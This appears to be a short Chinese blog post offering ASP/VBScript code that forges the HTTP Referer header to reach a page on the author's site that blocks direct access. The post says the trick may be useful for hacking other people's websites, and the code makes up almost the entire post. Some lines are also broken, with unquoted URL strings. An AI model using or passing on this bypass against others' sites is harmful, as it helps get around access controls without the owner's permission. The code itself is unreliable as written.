这个一般人用不到,想去黑别人的网站也许用的到,比如我的网站上http://www.wfuwu.com/write.asp不允许直接输入访问,使用如下代码能绕过这个限制。代码如下:
| 以下为引用的内容：
<%
Function GetBody(weburl)
Set Retrieval = Server.CreateObject("MSXML2.XMLHTTP")
With Retrieval
.Open "Get", weburl, False, "", ""
.setRequestHeader "referer",http://www.wfuwu.com'想改什么就改什么
.Send
GetBody = .ResponseBody
End With
GetBody = BytesToBstr(GetBody,"GB2312")
Set Retrieval = Nothing
End Function Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function Response.Write(GetBody(http://www.wfuwu.com/write.asp))
%> |